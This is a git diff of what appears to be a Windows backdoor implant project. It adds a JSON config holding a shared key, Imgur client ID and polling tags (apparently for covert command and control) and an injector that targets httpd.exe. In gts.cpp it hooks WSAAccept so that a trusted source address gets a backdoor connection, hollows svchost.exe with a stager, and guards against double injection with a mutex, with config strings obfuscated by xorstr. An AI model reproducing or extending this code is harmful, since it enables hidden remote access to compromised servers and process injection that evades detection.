diff --git a/CMakeLists.txt b/CMakeLists.txt index ea44e0f..9a0fb9b 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -36,10 +36,13 @@ if (MSVC) set(OUTPUT_BIN_DIRECTORY ${OUTPUT_BIN_DIRECTORY}/$) endif () include_directories(${OUTPUT_BIN_DIRECTORY}) +set_property(GLOBAL PROPERTY USE_FOLDERS ON) set(CMAKE_CXX_STANDARD 17) ucm_set_runtime(STATIC) +set(VR_CONFIG "${CMAKE_CURRENT_SOURCE_DIR}/sample-config.json" CACHE STRING "Configuration file") + if (NOT WIN32) message(FATAL_ERROR "This project is meant for Windows platform only") endif () diff --git a/JSONParser.cmake b/JSONParser.cmake new file mode 100644 index 0000000..f26f73c --- /dev/null +++ b/JSONParser.cmake @@ -0,0 +1,298 @@ +cmake_minimum_required(VERSION 3.1) + +if (DEFINED JSonParserGuard) + return() +endif() + +set(JSonParserGuard yes) + +macro(sbeParseJson prefix jsonString) + cmake_policy(PUSH) + + set(json_string "${${jsonString}}") + string(LENGTH "${json_string}" json_jsonLen) + set(json_index 0) + set(json_AllVariables ${prefix}) + set(json_ArrayNestingLevel 0) + set(json_MaxArrayNestingLevel 0) + + _sbeParse(${prefix}) + + unset(json_index) + unset(json_AllVariables) + unset(json_jsonLen) + unset(json_string) + unset(json_value) + unset(json_inValue) + unset(json_name) + unset(json_inName) + unset(json_newPrefix) + unset(json_reservedWord) + unset(json_arrayIndex) + unset(json_char) + unset(json_end) + unset(json_ArrayNestingLevel) + foreach(json_nestingLevel RANGE ${json_MaxArrayNestingLevel}) + unset(json_${json_nestingLevel}_arrayIndex) + endforeach() + unset(json_nestingLevel) + unset(json_MaxArrayNestingLevel) + + cmake_policy(POP) +endmacro() + +macro(sbeClearJson prefix) + foreach(json_var ${${prefix}}) + unset(${json_var}) + endforeach() + + unset(${prefix}) + unset(json_var) +endmacro() + +macro(sbePrintJson prefix) + foreach(json_var ${${prefix}}) + message("${json_var} = ${${json_var}}") + endforeach() +endmacro() + +macro(_sbeParse prefix) + + while(${json_index} LESS ${json_jsonLen}) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + if("\"" STREQUAL "${json_char}") + _sbeParseNameValue(${prefix}) + elseif("{" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + _sbeParseObject(${prefix}) + elseif("[" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + _sbeParseArray(${prefix}) + endif() + + if(${json_index} LESS ${json_jsonLen}) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + else() + break() + endif() + + if ("}" STREQUAL "${json_char}" OR "]" STREQUAL "${json_char}") + break() + endif() + + _sbeMoveToNextNonEmptyCharacter() + endwhile() +endmacro() + +macro(_sbeParseNameValue prefix) + set(json_name "") + set(json_inName no) + + while(${json_index} LESS ${json_jsonLen}) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + # check if name ends + if("\"" STREQUAL "${json_char}" AND json_inName) + set(json_inName no) + _sbeMoveToNextNonEmptyCharacter() + if(NOT ${json_index} LESS ${json_jsonLen}) + break() + endif() + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + set(json_newPrefix ${prefix}.${json_name}) + set(json_name "") + + if(":" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + if(NOT ${json_index} LESS ${json_jsonLen}) + break() + endif() + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + if("\"" STREQUAL "${json_char}") + _sbeParseValue(${json_newPrefix}) + break() + elseif("{" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + _sbeParseObject(${json_newPrefix}) + break() + elseif("[" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + _sbeParseArray(${json_newPrefix}) + break() + else() + # reserved word starts + _sbeParseReservedWord(${json_newPrefix}) + break() + endif() + else() + # name without value + list(APPEND ${json_AllVariables} ${json_newPrefix}) + set(${json_newPrefix} "") + break() + endif() + endif() + + if(json_inName) + # remove escapes + if("\\" STREQUAL "${json_char}") + math(EXPR json_index "${json_index} + 1") + if(NOT ${json_index} LESS ${json_jsonLen}) + break() + endif() + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + endif() + + set(json_name "${json_name}${json_char}") + endif() + + # check if name starts + if("\"" STREQUAL "${json_char}" AND NOT json_inName) + set(json_inName yes) + endif() + + _sbeMoveToNextNonEmptyCharacter() + endwhile() +endmacro() + +macro(_sbeParseReservedWord prefix) + set(json_reservedWord "") + set(json_end no) + while(${json_index} LESS ${json_jsonLen} AND NOT json_end) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + if("," STREQUAL "${json_char}" OR "}" STREQUAL "${json_char}" OR "]" STREQUAL "${json_char}") + set(json_end yes) + else() + set(json_reservedWord "${json_reservedWord}${json_char}") + math(EXPR json_index "${json_index} + 1") + endif() + endwhile() + + list(APPEND ${json_AllVariables} ${prefix}) + string(STRIP "${json_reservedWord}" json_reservedWord) + set(${prefix} ${json_reservedWord}) +endmacro() + +macro(_sbeParseValue prefix) + cmake_policy(SET CMP0054 NEW) # turn off implicit expansions in if statement + + set(json_value "") + set(json_inValue no) + + while(${json_index} LESS ${json_jsonLen}) + # fast path for copying strings + if (json_inValue) + # attempt to gobble up to 128 bytes of string + string(SUBSTRING "${json_string}" ${json_index} 128 try_gobble) + # consume a piece of string we can just straight copy before encountering \ or " + string(REGEX MATCH "^[^\"\\\\]+" simple_copy "${try_gobble}") + string(CONCAT json_value "${json_value}" "${simple_copy}") + string(LENGTH "${simple_copy}" copy_length) + math(EXPR json_index "${json_index} + ${copy_length}") + endif() + + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + # check if json_value ends, it is ended by " + if("\"" STREQUAL "${json_char}" AND json_inValue) + set(json_inValue no) + + set(${prefix} ${json_value}) + list(APPEND ${json_AllVariables} ${prefix}) + _sbeMoveToNextNonEmptyCharacter() + break() + endif() + + if(json_inValue) + # if " is escaped consume + if("\\" STREQUAL "${json_char}") + math(EXPR json_index "${json_index} + 1") + if(NOT ${json_index} LESS ${json_jsonLen}) + break() + endif() + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + if(NOT "\"" STREQUAL "${json_char}") + # if it is not " then copy also escape character + set(json_char "\\${json_char}") + endif() + endif() + + _sbeAddEscapedCharacter("${json_char}") + endif() + + # check if value starts + if("\"" STREQUAL "${json_char}" AND NOT json_inValue) + set(json_inValue yes) + endif() + + math(EXPR json_index "${json_index} + 1") + endwhile() +endmacro() + +macro(_sbeAddEscapedCharacter char) + string(CONCAT json_value "${json_value}" "${char}") +endmacro() + +macro(_sbeParseObject prefix) + _sbeParse(${prefix}) + _sbeMoveToNextNonEmptyCharacter() +endmacro() + +macro(_sbeParseArray prefix) + math(EXPR json_ArrayNestingLevel "${json_ArrayNestingLevel} + 1") + set(json_${json_ArrayNestingLevel}_arrayIndex 0) + + set(${prefix} "") + list(APPEND ${json_AllVariables} ${prefix}) + + while(${json_index} LESS ${json_jsonLen}) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + if("\"" STREQUAL "${json_char}") + # simple value + list(APPEND ${prefix} ${json_${json_ArrayNestingLevel}_arrayIndex}) + _sbeParseValue(${prefix}_${json_${json_ArrayNestingLevel}_arrayIndex}) + elseif("{" STREQUAL "${json_char}") + # object + _sbeMoveToNextNonEmptyCharacter() + list(APPEND ${prefix} ${json_${json_ArrayNestingLevel}_arrayIndex}) + _sbeParseObject(${prefix}_${json_${json_ArrayNestingLevel}_arrayIndex}) + else() + list(APPEND ${prefix} ${json_${json_ArrayNestingLevel}_arrayIndex}) + _sbeParseReservedWord(${prefix}_${json_${json_ArrayNestingLevel}_arrayIndex}) + endif() + + if(NOT ${json_index} LESS ${json_jsonLen}) + break() + endif() + + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + + if("]" STREQUAL "${json_char}") + _sbeMoveToNextNonEmptyCharacter() + break() + elseif("," STREQUAL "${json_char}") + math(EXPR json_${json_ArrayNestingLevel}_arrayIndex "${json_${json_ArrayNestingLevel}_arrayIndex} + 1") + endif() + + _sbeMoveToNextNonEmptyCharacter() + endwhile() + + if(${json_MaxArrayNestingLevel} LESS ${json_ArrayNestingLevel}) + set(json_MaxArrayNestingLevel ${json_ArrayNestingLevel}) + endif() + math(EXPR json_ArrayNestingLevel "${json_ArrayNestingLevel} - 1") +endmacro() + +macro(_sbeMoveToNextNonEmptyCharacter) + math(EXPR json_index "${json_index} + 1") + if(${json_index} LESS ${json_jsonLen}) + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + while(${json_char} MATCHES "[ \t\n\r]" AND ${json_index} LESS ${json_jsonLen}) + math(EXPR json_index "${json_index} + 1") + string(SUBSTRING "${json_string}" ${json_index} 1 json_char) + endwhile() + endif() +endmacro() diff --git a/configure.cmake b/configure.cmake new file mode 100644 index 0000000..b4271c6 --- /dev/null +++ b/configure.cmake @@ -0,0 +1,8 @@ +include(${VR_SOURCE_DIR}/JSONParser.cmake) +file(READ ${VR_CONFIG} VR_CONFIG_JSON_DATA) +sbeParseJson(VR_CONFIG_JSON VR_CONFIG_JSON_DATA) +set(vr_shared_key "${VR_CONFIG_JSON.shared_key}") +# String embedded into vr-config.h +string(REPLACE "\"" "\\\"" VR_CONFIG_DATA "${VR_CONFIG_JSON_DATA}") +string(REPLACE "\n" "\"\\\n\"" VR_CONFIG_DATA "${VR_CONFIG_DATA}") +configure_file(${VR_SOURCE_DIR}/src/vr-config.h.in ${OUTPUT_BIN_DIRECTORY}/vr-config.h @ONLY) diff --git a/sample-config.json b/sample-config.json new file mode 100644 index 0000000..01c91ee --- /dev/null +++ b/sample-config.json @@ -0,0 +1,17 @@ +{ + "shared_key": "0x982147b5bea3f6c2", + "imgur_client_id": "546c25a59c58ad7", + "imgur_tag": "png", + "imgur_tag_query_time": 15, + "imgur_tag_query_time_jitter": 1, + "injector": { + "payloads": [ + { + "type": "gts", + "targets": [ + "httpd.exe" + ] + } + ] + } +} diff --git a/src/gts/CMakeLists.txt b/src/gts/CMakeLists.txt index a380dc3..5f0064c 100644 --- a/src/gts/CMakeLists.txt +++ b/src/gts/CMakeLists.txt @@ -30,3 +30,9 @@ if (NOT MSVC) target_link_libraries(gts mingw32 gcc mingwex gcc msvcrt) # CRT endif () add_dependencies(gts stager) + +find_package (Python COMPONENTS Interpreter REQUIRED) +add_custom_command(TARGET gts POST_BUILD + COMMAND ${Python_EXECUTABLE} -B ${CMAKE_SOURCE_DIR}/script/bin2h.py $ ${OUTPUT_BIN_DIRECTORY}/gts.dll.h GTS + COMMENT "Creating gts.dll.h" +) diff --git a/src/gts/gts.cpp b/src/gts/gts.cpp index 5d296a1..0564c40 100644 --- a/src/gts/gts.cpp +++ b/src/gts/gts.cpp @@ -30,6 +30,7 @@ #include #include #include +#include "vr-config.h" #include "../shared/shellcode.h" #include "../shared/process_hollowing.h" #include "../shared/resources.h" @@ -39,7 +40,6 @@ #include "../shared/debug.h" #include "../shared/ReflectiveLoader.h" #include "../shared/payload.h" -#include "../config.h" #include "stager.exe.h" typedef SOCKET(WSAAPI*WSAAccept_t)(SOCKET, struct sockaddr*, LPINT, LPCONDITIONPROC, DWORD_PTR); @@ -86,14 +86,14 @@ SocketAction handle_socket(SOCKET s) // Trusted address is set. This could be backdoor connection. stl::string source_address; - source_address.resize(45); - void* addr_in = nullptr; - if (addr.sa_family == AF_INET) - addr_in = &((sockaddr_in*)&addr)->sin_addr; - else if (addr.sa_family == AF_INET6) - addr_in = &((sockaddr_in6*)&addr)->sin6_addr; - if (addr_in) - inet_ntop(addr.sa_family, addr_in, &source_address.at(0), source_address.size()); + source_address.resize(45); + void* addr_in = nullptr; + if (addr.sa_family == AF_INET) + addr_in = &((sockaddr_in*)&addr)->sin_addr; + else if (addr.sa_family == AF_INET6) + addr_in = &((sockaddr_in6*)&addr)->sin6_addr; + if (addr_in) + inet_ntop(addr.sa_family, addr_in, &source_address.at(0), source_address.size()); if (source_address != ctx.trusted_source) { @@ -124,7 +124,11 @@ SocketAction handle_socket(SOCKET s) if (!resource_open(stager, RSRC_STAGER_DATA, sizeof(RSRC_STAGER_DATA), RSRC_STAGER_KEY, RSRC_STAGER_KEY_SIZE)) break; - stl::string mapping_name = "Global\\" + deterministic_uuid(gts_shared_memory_name); + hollow_process_startup_info info{}; + stl::string host = GetFolderPath(CSIDL_SYSTEM) + "\\svchost.exe"; + pi = hollow_process(stager.data(), host.c_str(), &info); + + stl::string mapping_name = "Global\\" + deterministic_uuid(combine_hash(gts_shared_memory_name, pi.dwProcessId)); // We use shared memory for passing information to the child because it is trivial. Much easier than // say a named pipe. @@ -141,10 +145,6 @@ SocketAction handle_socket(SOCKET s) // Ensure "completed" flag is zero InterlockedExchange((volatile long*)shared_memory, 0); - hollow_process_startup_info info{}; - stl::string host = GetFolderPath(CSIDL_SYSTEM) + "\\svchost.exe"; - pi = hollow_process(stager.data(), host.c_str(), &info); - if (!pi.hThread) break; @@ -190,9 +190,33 @@ SOCKET WSAAPI WSAAccept_hook(SOCKET s, struct sockaddr* addr, LPINT addrlen, LPC return accepted_socket; } +DWORD WINAPI lock_thread(LPVOID is_locked_void) +{ + unsigned& is_locked = *(unsigned*)is_locked_void; + HANDLE hMutex = mutex_lock(combine_hash(vr_mutant_gts, GetCurrentProcessId())); + if (hMutex == 0) + return 1; + // Wait indefinitely. If this thread exits lock mutex will be abandoned. + for (;;) Sleep(10000); + ReleaseMutex(hMutex); + return 0; +} + int main() { deterministic_uuid_seed = get_machine_hash(); + unsigned is_locked = 0; + HANDLE hThread = CreateThread(nullptr, 0, &lock_thread, &is_locked, 0, nullptr); + + DWORD exit_code = 0; + if (WaitForSingleObject(hThread, 3000) != WAIT_TIMEOUT && GetExitCodeThread(hThread, &exit_code) && exit_code == 1) + { + LOG_ERROR("gts terminates because process %d is already injected.", GetCurrentProcessId()); + return 0; + } + else + LOG_DEBUG("gts runs in process %d", GetCurrentProcessId()); + HMODULE ws2_32 = GetModuleHandleW(L"ws2_32.dll"); if (ws2_32) { diff --git a/src/shared/CMakeLists.txt b/src/shared/CMakeLists.txt index 9e7824f..4bfc2a4 100644 --- a/src/shared/CMakeLists.txt +++ b/src/shared/CMakeLists.txt @@ -22,9 +22,18 @@ # DEALINGS IN THE SOFTWARE. # +# Generate config and copy vr.py to bin dir for distribution +add_custom_command( + OUTPUT ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h + COMMAND ${CMAKE_COMMAND} -DVR_CONFIG=${VR_CONFIG} -DVR_SOURCE_DIR=${VR_SOURCE_DIR} + -DOUTPUT_BIN_DIRECTORY=${OUTPUT_BIN_DIRECTORY} -P ${VR_SOURCE_DIR}/configure.cmake + COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py) +set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE) + +# Build shared library file(GLOB_RECURSE SOURCE_FILES *.c *.cpp *.h *.hpp) -add_library(shared STATIC ${SOURCE_FILES}) +add_library(shared STATIC ${SOURCE_FILES} ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h) if (NOT MSVC) target_compile_options(shared PRIVATE -Wno-multichar) endif () -target_link_libraries(shared PUBLIC mini-gzip miniz picopng tinystl crypt32 winhttp ntdll) +target_link_libraries(shared PUBLIC mini-gzip miniz picopng tinystl tiny-json crypt32 winhttp ntdll) diff --git a/src/shared/LoadLibraryR.h b/src/shared/LoadLibraryR.h index 8e4bb81..cf40e4e 100644 --- a/src/shared/LoadLibraryR.h +++ b/src/shared/LoadLibraryR.h @@ -1,49 +1,49 @@ -//===============================================================================================// -// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H -#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H -//===============================================================================================// -#include "ReflectiveLoader.h" - -#if __cplusplus -extern "C" { -#endif - -DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); - -HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); - -BOOL WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); - -#if __cplusplus -}; -#endif - -//===============================================================================================// -#endif -//===============================================================================================// +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveLoader.h" + +#if __cplusplus +extern "C" { +#endif + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +BOOL WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +#if __cplusplus +}; +#endif + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/src/shared/context.h b/src/shared/context.h index 3c6c466..52a3d60 100644 --- a/src/shared/context.h +++ b/src/shared/context.h @@ -1,35 +1,76 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#include -#include -#include -#include - -struct context -{ - time_t payload_last_timestamp = time(nullptr); - stl::string trusted_source; -}; +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include +#include +#include +#include +#include +#include "xorstr.hpp" +#include "vr-config.h" + +struct context +{ + time_t payload_last_timestamp = time(nullptr); + stl::string trusted_source; + stl::string imgur_client_id; + stl::string imgur_tag; + stl::string vr_config; + int imgur_tag_query_time; // Minutes + int imgur_tag_query_time_jitter; // Minutes + json_t pool[128]; + const json_t* root; + + context() + { + vr_config = xorstr_(VR_CONFIG); + root = json_create(&vr_config.at(0), pool, 128); + } + + stl::string get_prop_string(const char* prop_name) const + { + if (const json_t * prop = json_getProperty(root, prop_name)) + { + if (prop->type == JSON_TEXT) + return prop->u.value; + } + return ""; + } + + int64_t get_prop_number(const char* prop_name) const + { + if (const json_t * prop = json_getProperty(root, prop_name)) + { + if (prop->type == JSON_INTEGER) + return atoll(prop->u.value); + if (prop->type == JSON_TEXT && strncmp(prop->u.value, "0x", 2) == 0) + { + char* end = nullptr; + return strtoull(prop->u.value, &end, 16); + } + } + return 0; + } +}; diff --git a/src/shared/coroutine.cpp b/src/shared/coroutine.cpp index 4ddcc5b..b9008ea 100644 --- a/src/shared/coroutine.cpp +++ b/src/shared/coroutine.cpp @@ -1,124 +1,124 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include "coroutine.h" - -coroutine_loop* coroutine_loop::current_loop{}; - -unsigned coroutine_loop::_run_coro_func(void*) -{ - auto* loop = current_loop; - { - coro_ctx context{}; - context.this_fiber = GetCurrentFiber(); - loop->_starting.push_back(&context); - - if (loop->_current) - SwitchToFiber(loop->_current->this_fiber); - else - SwitchToFiber(loop->get_main_fiber()); - - loop->get_current_coro()->func(); - context.sleep = ~0U; // exit hint - } - SwitchToFiber(loop->get_main_fiber()); - return 0; -} - -coroutine_loop::coroutine_loop() -{ - _main_fiber = ConvertThreadToFiber(nullptr); - _sleep = 0; - _terminating = false; -} - -void coroutine_loop::activate(coroutine_loop& loop) -{ - current_loop = &loop; -} - -void* coroutine_loop::get_main_fiber(unsigned int ms) -{ - _sleep = ms; - return _main_fiber; -} - -void coroutine_loop::start(const coro_func& coro, unsigned stack_size) -{ - void* fiber = CreateFiber(stack_size, (LPFIBER_START_ROUTINE)&_run_coro_func, nullptr); - SwitchToFiber(fiber); - _starting.back()->func = coro; -} - -void coroutine_loop::run() -{ - while (!_runnables.empty() || !_starting.empty()) - { - _runnables.insert(_runnables.end(), _starting.begin(), _starting.end()); - _starting.clear(); - - // Sort runnables by next run time. Runners to front, sleepers to back. - // std::sort(_runnables.begin(), _runnables.end(), [](coro_ctx* a, coro_ctx* b) { - // unsigned a_slept = GetTickCount() - a->last_run; - // unsigned b_slept = GetTickCount() - b->last_run; - // return (a->sleep - a_slept) < (b->sleep - b_slept); - // }); - - int sleep_time = INT_MAX; - for (auto it = _runnables.begin(); it != _runnables.end();) - { - auto& runnable = *it; - unsigned time_slept = GetTickCount() - runnable->last_run; - int time_left_to_sleep = runnable->sleep - time_slept; - if (!_terminating && time_left_to_sleep <= 0) - { - _current = runnable; - SwitchToFiber(runnable->this_fiber); - - if(_sleep == ~0U) - { - DeleteFiber(runnable->this_fiber); - it = _runnables.erase(it); - } - else - { - runnable->last_run = GetTickCount(); - runnable->sleep = _sleep; - - _current = nullptr; - _sleep = 0; - - sleep_time = min(sleep_time, (int) runnable->sleep); - - ++it; - } - } - else - { - sleep_time = min(sleep_time, time_left_to_sleep); - ++it; - } - } - Sleep((unsigned)sleep_time); - } -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "coroutine.h" + +coroutine_loop* coroutine_loop::current_loop{}; + +unsigned coroutine_loop::_run_coro_func(void*) +{ + auto* loop = current_loop; + { + coro_ctx context{}; + context.this_fiber = GetCurrentFiber(); + loop->_starting.push_back(&context); + + if (loop->_current) + SwitchToFiber(loop->_current->this_fiber); + else + SwitchToFiber(loop->get_main_fiber()); + + loop->get_current_coro()->func(); + context.sleep = ~0U; // exit hint + } + SwitchToFiber(loop->get_main_fiber()); + return 0; +} + +coroutine_loop::coroutine_loop() +{ + _main_fiber = ConvertThreadToFiber(nullptr); + _sleep = 0; + _terminating = false; +} + +void coroutine_loop::activate(coroutine_loop& loop) +{ + current_loop = &loop; +} + +void* coroutine_loop::get_main_fiber(unsigned int ms) +{ + _sleep = ms; + return _main_fiber; +} + +void coroutine_loop::start(const coro_func& coro, unsigned stack_size) +{ + void* fiber = CreateFiber(stack_size, (LPFIBER_START_ROUTINE)&_run_coro_func, nullptr); + SwitchToFiber(fiber); + _starting.back()->func = coro; +} + +void coroutine_loop::run() +{ + while (!_runnables.empty() || !_starting.empty()) + { + _runnables.insert(_runnables.end(), _starting.begin(), _starting.end()); + _starting.clear(); + + // Sort runnables by next run time. Runners to front, sleepers to back. + // std::sort(_runnables.begin(), _runnables.end(), [](coro_ctx* a, coro_ctx* b) { + // unsigned a_slept = GetTickCount() - a->last_run; + // unsigned b_slept = GetTickCount() - b->last_run; + // return (a->sleep - a_slept) < (b->sleep - b_slept); + // }); + + 